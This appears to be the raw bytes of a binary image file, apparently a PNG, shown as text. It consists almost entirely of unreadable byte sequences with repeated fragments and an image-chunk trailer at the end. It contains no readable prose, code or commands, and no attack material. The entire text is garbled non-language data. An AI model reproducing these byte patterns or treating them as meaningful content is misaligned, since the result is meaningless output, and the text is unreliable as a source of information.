ZD!B!B IЭ*1S;'/NtƨEOQB!B!P+SB ܝݦ]hF-B!B!B!>F-B!B!B!>F-B!B!B!>F-B!B!B!>F-B!B!B!>F-B!B!B!>F-B!B!B!>F-B!B!B!>F-B!B!B!>Qj@QP`pEOQ 08`"'¨0ja 0jZDF-B}"Z>F-QP`pEOQ 08`"'¨0ja 0jZDF-B}"Z>F-QP`pEOQ 08`"'¨0ja 0jZDF-B}"Z>F-QP`pEOQ 08`"'¨0ja 0jZDF-B}"Z>F-QP`pEO/F-i\dKJX6Wz2[44ΉGW+QaE2 !ͨ]6w5wj;2j]&R6WZF-B}"_:I^&sej~y9F-D>9LZ~s`QPhMQXsr\Y-fV'|sHuP LŨ_0jMm(ESW`˨q%3?ff/_} `"'>΍ɶ!esg揋wZr癫~,CT312M\_q,]E#uΗ&h ߨmb&VM딵w|%r^ϋ+kӮ_`;3j`h`"'x6#4mn y_%\.ؐF9ѫn9>wwΌ0lYq`/ߨ7C5[0'cIΡ:z8<'X F-B}3jK6kLۦcQܨ-9Q\4Ή!0kuucs>Ѥ0jS;XF6dY^Q;e>zq͘}ؐŨ_0jQ `"'¨0ja 0jZD0j[B!B!B!j>w 0jZDF-B}"Z>F-QP`pEOQ 08`"'¨0ja [nEB_F-B}"Z>F-QP`pEOQ 08`"'¨0ja 0jZDF-B}"Z>F-QP`pEOQ 08`"'¨0ja 0jZDS=-ss%zHkkfC>ÿ}ܶ~>F-`/w]+;.#7e^7g[y ]0K`EsJwkpwqKε=@?QP`r_zݜ?9걉)n-}'%ȃy"?_q NM[~u-~>F-Ϫt}LNDІsM^^3y|/>gWkhߟ-~O Bh `矑u<eWvM=dLwL~|n98~l F-B}"ZT0P6]05{~}e=䵳&/__<]~N9nWZDk?TFLs_S'Aqls̠ n',_8l}'~>~>F-avMɧ'>|D-x~/\4G=kzzw 7+ƃSZ]f]{-~>F-W_MtFߗ/>]#p,G{q_O~|WwU]INuNJ{Ssyߕ)ngcwu~^Y;b]z in~^2 堟"{chDyWƋ9I.V)[ F-B}"ZɁ1&}o#"Ϯ~>5j#w{8vw1y{n;-ɸEjҴ'z=A=>XtG Ǎ;ӘƓ{x8Ym_ǖ@?3F>*KVoCSVXCu&ZɁ7cȵ%86]~M0{ꊨڦǘZ>æ]0ۖdyX6;Vuк7<"g~]<̯mDE[<ԣrW֋1v̿w._y-~f\[,?H.\9b,9u-9ajK٨%-K.\5mGexZKZӆe4>62$VKFr&0j&k?dK3\R` v*OMW^ {Z7͏wXG~;;zǪG}'n]dK2>qη m~Wl-?tZgwc IXIlQwzfw*w|5U7VhKg^|VPfҚ_mb}Iŋ6j9Id%rP[YɻM vnɉ*|K~eK~ ~2a"T&Zjzu&a7-GD^}U|*Jᣌԋ7'|ڶȸ片c4?VmOmq?}\+dk53ꍇ r"rNSZrϖ-`d-K~2uhԎ˴̔ ڍPZ?Vg cv[^0~[C2Gh-`eN\z-cs֋Ko[ddž/[q. ږi-2C}ٖd\pYrz}?w^zV: /(޸@b]|Ϗved}ޞ6g0(teԮZJ/? \sI ?|Yf=YW1R>XYb_GF}}>6;1_ceziAehK2o~mfƭ wW\s+"߾h/;g/ug0my3`ʨjϿ٧%~%7,tTKweq[=zגSwԖ~W¨EkSH[;f_n{/~Dƨ}gemԺ8m_Wi:~lw6cV鵳FudDž{ubm2__{Fb9JMZ y|ۅ( QEfe|%WE^nhD!rĶsuGwU(F-,¨l~ăgTZ]}-u2zjX;EjeS>fK2n{BX?oNZLSV7f/uCnU6rў*O/G`ʨ}eQ\&2o_I5JwDoKo*nzr"#G|GxFm8;iGh`9rCYsGD.7]rOlo۟E^'?nu'briEW/98-Y$cO.e _m{ӯO6w6fxCv/ZGGAymӖlCossޞ'6*mܒkڒ>0UFZ?B۱lA,5/Z M7Q[W~*6~oQvs1Wlm|[Whkm6~Z7~Wwk~{W39NMױI\}DF ˪Z{Zrߴ\rΦSȩ^[r<)~2u`zevc4j~[Ӓh `~L^{`-x?WޫRr7׶ c|5?K/m̱e+ﳥy?Ǻ}=vUP>6|ֵ'c[6= ]˗/EIVXGn|2-duEvh$evJBO+V Q 0<Ⳳ6[/GDVl߻SE}̝q@ո׿fҌ^yIZ>s"eWm|;}Mwcw!ȏr8N2F;c/ȆeK`ڨ52f(B5[ȡo9̓;[nI|I=B^U40]џƢcm{B?;lǂjLGa-7=rnߦ}tcU駏.-BPm:Fs|Xkm bzG WYxWS!:F-2rޖfv~/loo>cjXGE;4bK3F4 &_Ϳ`]})W/,-BZ~7Nxjʬ]l>l f_->ɯ{-Ͼ-Ab܍ZPoQ 0pidO[v l+/M?vV7}O>b[ek>T{)cS֋u/-B^|yuu~/_|=*AǺ̓y,ϧ_l~_cݴ{^}[F-B}"Z܉ <ߖft{vq}7bmzPxg;0]0w7BMe㧞{&oQU}7?ޯa!Oʙˮ땵zNf{coݾvs7-QP`0ɇfHzl,G2=^+|Ű;I?xkжS#?j{ʸcŽj=MZ|mUI_nUZ6_yl `s[=<|ݴT>F-`b~xNyw_}o,kmo;Z/V|g0?Ҍ~rJжS}mOrZO1INky-~֔o;H|~52?0j/>mK3o&XdꫯNV[wmi?wжScZ=Ma5]SZf]{-ȝ~z-cŸ|Ε&!o<3ZDێDnu١4?6w=eܹ^,s곫2蠿ˏvlvʘ>o>cj=M`#_>z<'WZk;us?;l<ZD_|N&7ν*{DүYH:{y8۶n]_I"ɏ3liF'*_x&V[~mq?KˏY$+ThKy'ɋ/Gm/}CZD5\{?k{d|yG|-d M_iK3NeAN`{ʸQ^&:?\z7_%|gG@X>C>vɣm)L0ja x~n_S/ɾ[EsOYbZ4*ZQX_Q 0x4gnw]ӵ>p}I,ߛmis_32_+3jfųvѻ_l0om8gxc/zG淃`1.F-KY$\x1k0%lԒ󎖥KW\.ך֠l6<]¨EkWw7zͬwwzny΍G|$XCvH矑!qi=2zw_sl0w~åe>)+yFF.7|m -CIo]Oܦ%n=E|pKn7FZ?A9mXF2mP6Q֮0jzD5twLo\Bj(_)/&)Ͼ=GNnĖxֺrnS傝[rGʃ/+ߒ_lْl2E.BLQkdڵj\bԢ+Zb헨 N\z|Gp߽ૡ;O7hVcɣOr RtmvmrMENiג䬣>"rNSZrϖ-`d-K~2OPRͿ"y c#Cca>YS`VġoЈ}?>҃埓>7<3} ݳ߾hyJpON#=nȝsIm~*rW!K~\~m!m_sGwS#k*[>4Ƶ{W6$Gb{MWFU{Ȝ>-y-aᜤ˧]h^, JVԛhܸן55j0 SԚ櫐MyZi^F3bl8e$eQMx,{m"kF-`LUddp)w%:3R'ݖ~ߝ%Y>y_H˾~c?!1/9ƪߧ_Sns][~/R歹|Xjg_yY>nWyg_\/eoO-5f=^oK/g ;U[JcV^eywњ~w"2Uے7"I%=Bm7K Weg34kHʆFܱWk}QuQ̨wrwF-0''&&sgac;ki7^|yujY_˾iA;̚?>rS1f/_>w\Svֲ+?.?,{LwϮx ߇KK~R3|^ydU¦1hM|)/{m˧~%8[>o^9 ڇ~X5[U;o"\[[}KFtȱ''2rwP+7j5s7?f~'ߟ65;c1j㈾ȎҖV=Y?j2jR=.7]'vu‹F8ӻ:z"2skot{R>R<3]:;gx]C}<OtN+ןnM<5qa;1|]}I6_a^ө YLK5srJk?vӼ4keN-y=-oZK|]9gӍSM^/Gk-{FKY|j?m NL#Ců 6fjg_VGuF6]4 bOQhr`00f0 zoSW#e~9ۣڨ]|,Mj:r6m!g+CK$)Vpr |R_B!T-Z`KUs~{U6c{oXL1cvM.ŏm ڨ52f(B5[ȡo9̓;[nI|I=B^UĨ7YW {q8oߠ]~[ `쌋Qӏ\u[d_{LL6TME$HG S7)3|UԜ]w߭eU=C~mMw!a G,9즅MG}Tj/\_zl}'eKA˧瞶+0`"'¨_)9wUK>)kȁ?/K]&-@EOQ 08`"'¨0ja 0jZDF-B}"Z>F-0F>*KVoCSVX֛l&֐(j"Za\[,?H.\9b,9u-9ajK٨%-K.\obڎ˴VKZ uH[a ]~-Df/m.'u=9s-_/K9;wjd!ce#Cdx4/w `pڨ=$ANlɋg+'6U.ع%'~d<-Ŗ-&S /TI52$`0jQ¨6jo6{֦"Dks[rQSKN k)v-g˖\Fj?R%C#ʱ\2<-j伾a듧 ˨m;2+~7WhFYꄦijI1㉼q3y``pʨ]j72_~[呓@?w}ғL׫ٗ&-\z֗c>}ڱbJUFkzkfZ4}yǾyOg:]'H-m7Oo&3+ n¨2j-ya)Zrצ?~t2K2KtxY# ܕZalR-ύX[DALwnyuhQ 08te^_iӒWޒI|*%;βอdIىkɍ{_̔trWl;K#eL+#m#5+2\ˍZo]QO^^ 0j"2Uے"I%=Bm7K )3>1ݪҨ-mQZgQbF-QP`pEOQ 08`"'¨0ja 0jq7j}Q9K_}z瞲b B3a b޲duArɅfk S[rF-?hYt\}xi;*Zj6W"sFX&s'q\dʢy>]*S9X6W'kvsir՚\y;xF^y:-qF׃3^lfϿ]f &5g4h>=Ϯ=0}CDw9v6jovk[noX_\Nzzr6-9u)2[uۿ^5rGwLdi2Ȑy_Ӓ:$#ʱ: ktX%ĨOQPVb͚}!?B!7`8} //{b9=KγEK:vN +D^/ꞋKA?E-=¤?Us=kD:Z k{lW!p5sKD`-\/DŽs>gٵףyn PIjN=lw-еQ{I"-ؒZWNm\sKNType[-[Me^I3jY;4 zbԢV鶴xkf'OBx Z{/c꛿&/*l0,.(Gzؽbzs_Nsްս Lh ޛ5Go>Xk Yg}4Ai &ޞheM':&y>r1׈kD 幹kAkOY߮A3.c>=XWskϿy>&k x^6y.Qsx3nM)-ZܖuGS1Ci<]Kٲ%l,eO2֚qM4 ۸;HuU33j`OfX8;]Cb\|s6'+/̤%jc;?n(75I}u^i]䉑1Q_44~=KTνً͖;_:5 &#emT FWtE&(~ 0_c/[񹳶Υq7}kDQ[`?wkNs9^rr<\ >{=݃hϿy>& x^6tS@VFw+r*oݶxs_nNY 낺^*VW:g+Q{OW5PT2>uO1Gy>jrR+[f6kMGs O㜞 hkQ\b/*AuV發g2q 1sd\_]gئnTOnΥft}T87=[裄 ~Q=v;S?Gz4W]v,ǛcCU$Ӆ_ wΤ^Tgz><[lc?{,i<U~Fjuō}_^sTڅD^qQ]}kB񳻄xo+{)0ׄN(G7j]SXRi祭S~K|~4oÂ~gqI=g ;l0vA_׵`pcq,PՇBDA+oW;[m<k}>'=^s}_?>sqbui.<[>S䖯M3~)Yve͗drˋ֕]GCQ]h~T3S1j}W- ~57lccil*;̨-ɵ2X@Z7jck/}'`~u2$]܅'8+L=''?!WV%b/[k!_x}}2l_Z\F~ٱ {5>f9TѨ kQSs"΋k3̵g~0٘>?F~>d<:W:8߳c>4ƴycƌ꘼<+k%ȷ]&HP1ϖ){)^KmOf}Tw|-36uUGU5sVlJ\ۧ_VWǖe{Aɧ6w桋j-OJ+A+uOcf]TaV<8JdqߎF2k[ 8gʸnJN}aT̳G>GGڹuiCON}cvus|kmoqⶆn^׋bkUJq kPCk6\yucǣֻ{V[9}F9cx.[u92h)l;v0(fy`}c-ι͓/RU]yHϝYsOxs)QkAoW*OV h25_zYJL_ZirT͍<,m؝eα}9sa*9 A;}ϖS\xKՔm8}n([/30 A5/7n_++?>1¹֬[DWFU{Ȝ>-y-aᜤ˧]h^, JVԛhܸן|C̈˭X4L~yF,Z3fڬn΍Zm~qyXm/4h_}\jb[QrјʓaF6_\K(hNqI Z FW̷߾W 5y9i&'8a&yP|ѣR~vx6ǩǵ|vEm܏yIfym)#I!mbYC:.MQYb~i< pcR/]+KqpJu"i[%ڹ(}vג|s%qk}4ß[mìNekXҟ~D\=.)%9,?ڄㄏW͵g΋C?q)ь`ޕ)Q,eI< `-}M_N|5OgI8ucL. ?d`ekWsc͵&''\?CtREsPF| (/Ck.uq6CQߊP6yvHoPɾmSh2vKGj}-s?!EK=&*|kU^ tIi=݊|LkGa܌`}uSgO%i_sl_#>bcb}ĝ ]*L;jȬ|yȫruavOCoF9bMҺ#ûUXfD]>ɨ6,1j)+s-OoڰwNӨ.lх4(?1'O,,&|̊> x9I>vՓC}³bu)^myOy?c62%Vo}cdz'JS`s-/&~Qbrm6W*[}s`?Fs$~?eԜ+ C[bvTyM1Z| 4ì졾r-k2K_5Q_%S\U9`y FuT5\㗫u(#YR\Blmuu9>Tmo{'l. KWڅ&{Eٳvf}}8qL.ίM)`h_ZlmJ)#a砎(>);5S)A_|֡P'\9l^XU;lFY3lq~cn zﻄtIqKgWK6WaiyY/`j0z,1{&5.ky7s)맚ڇ~X5[U;o"\[O]7ʥ7]7@h=9~?##<_Q5 #WOve*lVo,FmI1:1jϨ~/,¸DD1+KKFCV^sVmǭWI}Lu٦dݪmQ2o˵\}*m|jK-_dQrf(k^K ׷=]&d^%{$XO\T.(Ɏ{h^/34_ޘvVvʞm2E_lܪtڮ&wz~;6'FѾ㕜k+ Oeh}ίdTJr >u( ׸lNy=>W^z/od-Saq:Uke(9^o_oF5ߍbN˒`ұce}o6W/χW^r+俰Vޟ8~Ls;e (Wh8~T )ucLc֮<Z~:Dk-ʫK_ ֵl| ;Ϫe}+f^OykD<~ɵ%,q~cjz ݎbN̾nם;*erWB0NK}uϩ]_3qye/ RO5]F7},:rۦ-ن&=7Ol4U۸%׾%}`&~2iFVV4Dc:2Ta>2jY3lg`:E㛱 1fY#uXsikK}kԦ=_'o^VD /T=1rSXgNΫ!|21(/.|K&56iک RsT5$Mh X6ly1?F=aO}`e C[bY:]E\G\ѯƩ"|o sͱ??uׇRl~:k.y|ɻ翤Mrɼ=媤?}h5Su.O~=Q9Qpe1j%zM]ryzϺʸv.yYGuch{͵+mZG6ZƔ`_GE?dz rSDGXFV++gF)}Ě)N{bB'vHڏmuVb/PW-͔) }g(+ǼW=d}-qkQ<}u!'"<$Ư#QȕǕ1e/ϣ-$_i,ŽSz -` L~6<✖w N.欸.Y()Ź6zQbϱ4^J癑Ʃаkq}\GPญ$X}q^\bcTg~x?5[;KίcUxlg&*+s|Q(| ʢ|1u!Ɏ5{p9JZı(7'W2񚓣|F^HRG`S=bc)) k(s͉+`5׬ɺfLY!&-xf-,9Sf~ͅ#klc'+k Pu,$;:w=rvrf~~Qk}~2e.Ӯ52e,,Ǐ߮]TQW#;k֪55Ha nyڨ]|,Mj:r6m!g+CK$)Vpr |R_B!T~3j'={.t/0Μ.~VY+h>Ә*akmbT>NWvPծ̤v+' O3LTr>!!GI>hO|'b|pTU}AV˿ Ve_c_T)m[UuuuԱ 1&-k0W&$Ϛ熶/ڕܺ5\C|s]~i_5Xzfs+-MO1s\6ֵS|̘~)dsPýT7vT]jἎ+U}Av/>$}6>*Dscp<][ܮ> 4)N#WTZFPd({欲YNtqӅi0}\ s몣Y<1$,ǰ}Fjׯp|lCuʾOTm Uf6kMGs 9uf!kg9b <²`֪Qbxm='W7GoqkWZYv5zluoyM[{qyKHb*Y$}]f~BdieʼrRr>$WakWEE{$%\?h3yP_?7P]s-4gQi?iѾˣ#Zw3^:@0ުyX3?{3ul*pjo4/z#l梥0Bhx;}|vX=vӼxh\!7:ws߻v<]SyXswZEsu!:OYsF.|͢f,Q`Y8;z.Ds+]c㋂ua=]FƬ=eWȂf94-9yr]wͣ7ɓO>GիF-Ԑ];LuaH߸4xk8 eħךF\ hܙ^(b>lʓ5{0bzG WYxWS!:FZfZ`ӚWǓE2hR,+ӓsk"i.slz738dt|194ԯzs43Gd{-ap`u,@wv53QPv ZKot&7 E33]}qv>.MIG|u^ =8 Q_{չӹ].USގ CtOۇkͨ׆^j'r\n33<7PKZ9oFy Fd}_0j={c0bߜu:7C.?\r}&4|8]1.{^$_j|ل)^5Jia^ek3N{~]5a{| `ӽX.^g^_3j^7VښQRrM%{mőۯdo)uJZGn4_%;qMWø>/ɾ[EsOYbZ!ԙ0j!{cУ7Cc hoLŇQ0L2&aMeN|+9zh^\<ץɇudO2c^ ^hB1Meۻ}\d$݄Mϋ<z1Qᘓ5h>':㔛^Ks}Ũe9 ϕ#f͒_ג䘍Z2ѲtR&L3/=M"4+6{3V޾@Ϗo7Wgn8UE{+z'Pw\Ǿ }V9'`µha[lE~m^0xNcíi7\lA^ _'+>wQX"7?'l2ktoBzkQkl> 3%h>3j Ϋ mMeA~0x{#;-K m!-qAAx_sp4 X<ϋ"zkZ <)}sw\~c{] ׬o\.E9+pEso)+/=ڶ uaz\ /7[8FF$5o9s=O׮dF pk6SaAuL_8bi⼄HwowƘˠDAJ"O8ʘʨ;ʃQY c'QŽ lUO>/8%C5g^'sG85#Qb(y [%FFK槪\GNqlm+E'Z{}_&|rd%= 67ΘuCG k5ԬAeEs9΍JϱDQK;כ 8-Opm;=!ί6q_U/ԍy^87{$>Y_^^9ⵋ 0tm~r׶ݒ?mZrSd,}kqiD̓H^624MGz\lQ!4FĨuoTWvŭ}wolp>{]|e7B?kS;'E݅;J(-GSKvvq;i_ݛh4n[Vk&I#^qnr7~O<|Ե\/=e-q+}*9py9(Iֲ Y$2c9$~:,E8ɤw<'e>ERk[0exi.vel^;%]C=^_qu4&W0 `>|Mue睏kiI맲%.&:1AE1dhge_CrOϟg]?ߤO]o5hʵTpmb m ]gvq YFdO_mҿOJԾ]6ivS3o~Lq]ظš{V85)_N.=/[J塘=Zו{zMUu=P(^y5'(_{$U.E]Pb';WWP.`ڨ=$ANlɋg+'6U.ع%'~d<-Ŗ-&S /TI52f{cv4e?3n핌9cv:h_(k$h$M_ټd}qq$"Md..~BZ'Oŵ'jƛ}LM;|ok9 5)y;6G:~^k}:vuM[kl6Ty?Yclly}Y2II\izfR+p4UG?Os\v{?/ 5Kd1o-7סB_ ݡW=6`~Ms}knM)-ZܖuGS1Ci<]Kٲ%l,eOԨ08U#7 }=ΐ %OIy͈96-3ͯ3$#yV6\ޝqS%}(_ChlW/PKzE^ HvUPYl 椼3s[lRl~֪Ms>~}V[P:+qvY.7z܅re.1)ͨlbV^C-8Z~mN2¹V<M;۩jY}vyYZm}՜nK[LYyŔ/QLE<`Y'>.~Ckwٞ ˋs5'=?)7et,Q&9w*a(SډxMq&wI,G8A~PvB|cx-bsX,=ozJ١o5hz~'?T9kԟv2hJYXYbOʰ3O5sQqYjjWV~-aGcZʨͰ/|}Nz ^G3צ7(mbv4S7Nc͔&,7S>u2_?NwOYlAyiex8a;}6Wto1 pt4,7Y}(ve_hHE-!v>51ߕu}㡞e}u2ZtBqce1ln-|%k ml\^}uل ~Kp7[CO)S%TȩWu;u(Y豇>m53d}SyW%A[ߨ5'~l*Q;[^w4;yΥr:5]l}ٰ8]~dvҊv{CYTyM]&[7I]:*qۺ ,>uʩzר"~iC=oٞ/^jcׇ5xۨg8~~s zSɫVUε*vG坬{-7RGU>զɹYѤOWFÿ%/3E^^KnT9կnW&>|yIf!.Ｑ8k]yyud=27l;6;Zg:X66KaԢFmFnb`x+yQpW;RsN9! 4ߌo& o i^Lb׫7Y{S)ys̡~҈>q|T1/iXΏ$%߼L!Z~mN|~sqIG{/d_uE6ӿߟsa>)~P%@cږՉ@έ]V}&scQ2~6eW=/80qh2Km .~C_3277Fqz~ Ym6g}wZY^]s$/g&ʔ}5U >rb%ec-9Lpw<ھq:axd2mheƕb5E8^]LX/C+kǯbK/#&SV9v(e|sr^~qSп)gU:aeښ=_/MYwr\DY\^\YT~+xe:4RrN.~M6){!^/ՠM)qvմ:-̎T&Psd _WXWۏy&}B[?&u:^ JέίlD5u49Ք5l:5/UɡVV~=YS^WOa99e?.ys츛<*Kp @wwEY*mvWhD!rĶsuGwUӔ]kWZ4ֽ`Υ9^N q^!{OyU ͛,6tdNIYqTzueoj>IpBl%yTWk[˝_77=OaJuI#~½c̹u/MJ}k|>xTZΉd}JyฝҜ6yl<18=Z̃@;_v1~4B.>y&[To p%S-BlF5W%swm.byV8Wj3ent=)ŗT7n[z?KsYu,m~niRVOq/ɮ[[Oo^e9 '9O%Gu)΁v-97? Z[ ng𹥈݇Z6wNѶ/m&uU'TFF cbe~(3:Y[?Фy~AdFp>X:~ 3'lr,q;eS`еQ{j<7%nr)r&#r=%|f,bTMZ[#434`Nq;-7*~]r֗W'0^DAE0&֐I[>XS]&}#0ja2ݩLH<$kvh7ɪȍ@o-lގ[[37SIy| ǡԯ>Fh `pڨ52f(B5[ȡo9̓;Z|T IDAT[nI|Ix  0jq1j}=#rQ_Nx,F-QP`pEOQ 08`"'¨0ja 0jZDF-B}"Z>F-QP`pEOQ 08`"'¨0ja 0jZDF-B}"Z>FX4%VK]fKƗE3g"wfN}F-B}^NO Ͷ&Hfv[/ڬNNb_&sg;Tr9qqy+39㴚>7a (>EO;hH&ZJZgfhk唘y ؀uC/3~fmzl;_Y-W,=@ F-B}^m.4?MQvpK۬nfFWI3S:7ocCr\擗5c%g>FfP F-B}U2Y)wn3ݦOSۄ+3ςr\L+SƖoPrG? .7T:cE#_l\7p87gQNT?(^<3s#zb6;4rV~w&k&\d8c9IŰaꨦUfvnfkyj"4-39u0X6JNהUܹU׬Qȴ-L8t0jԨ-S!D=s16Tm9senȂfŰJL]hN1u">0}S4wfưLrT 7e(wΌZC2&Zc@ԎeQNYMPF-B} M:+JݠyHiӑQkhNj!ֵa60@+GEB`rtԧ|S2o>2esu7_9fQG 6<GK=1j34Rsʚ}ꛧX0? ;cbVՑQ뙾)1W3V*qz4Jrӎ}XudžnԺrYb{ !ߋ2CGFqif?nS#_emޡW~tfskȨ5v22{bڰWhfg37Fc#V3*9ŨmmUwElN*yqTUwMոtSuL7~u2V1Uګyna9wjԶ붏u*q3jƗ5Zdxԯ۽&q9a1#CiފFmF8̳J.0E3##M r)}ـy8F`+}X<mMˬΐ O یF3e(њC@@gV b/ qmy@>NȎG̭[mhy&m(70&#o94}qG9i6l87wqi0.Ǯ ˲452#;S#Nv #zDZyWb&dрK aN&7nMѠبUUQl\*Qi XVؑQTy_%(QUv5F+{FmV͚4kͨUzvL(f4 Ĩ4֚Ϙߨ-F_m a֑QhіXE/m{ƭW|Wo[mQخ]G5zINڢInNwom:xIYOGunSeF~&Q WV 6~,y|M7OZc1KqϭȨ֦P'Q,Q&ZuK~,TFmѼ¨zbԆ3Tgr 2jӲ)no*d5b֭-Z%fn@Kˊ޸+3NŨ-7ka¹|uõɎe]KݶΨ-rZ6/%=F-F~67byWn)rTq}:UFmۘ{CQ[ДT577ҸkEugƧޯ_'IU2smeW9ŨqGFmh¥R Bt /PlQI30t/KVB瑨`N Ef*d!FhA[3jEȎ' &cQƛ.~1욘qMa Ҩ-Qɿ$ZaQ"4Q 08LZ~F- \-s (>OIENDB`